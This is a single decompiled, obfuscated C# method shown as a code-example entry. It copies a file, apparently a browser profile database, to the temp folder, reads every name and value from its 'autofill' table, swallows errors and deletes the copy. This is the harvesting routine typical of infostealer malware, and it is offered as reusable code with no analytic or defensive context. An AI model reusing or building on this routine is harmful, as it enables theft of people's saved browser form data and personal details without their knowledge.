예제 #1
0
    // Token: 0x060000EB RID: 235 RVA: 0x00006EDC File Offset: 0x000050DC
    private static List <Class8> smethod_5(string string_0)
    {
        List <Class8> result;

        try
        {
            string text = Path.GetTempPath() + "/" + Class6.smethod_2() + ".fv";
            if (File.Exists(text))
            {
                File.Delete(text);
            }
            File.Copy(string_0, text, true);
            Class7        @class = new Class7(text);
            List <Class8> list   = new List <Class8>();
            @class.method_4("autofill");
            if (@class.method_1() == 65536)
            {
                result = null;
            }
            else
            {
                for (int i = 0; i < @class.method_1(); i++)
                {
                    try
                    {
                        Class8 class2 = new Class8();
                        class2.Name = @class.method_0(i, 0);
                        class2.method_1(@class.method_0(i, 1));
                        Class8 item = class2;
                        list.Add(item);
                    }
                    catch (Exception)
                    {
                    }
                }
                File.Delete(text);
                result = list;
            }
        }
        catch (Exception)
        {
            result = null;
        }
        return(result);
    }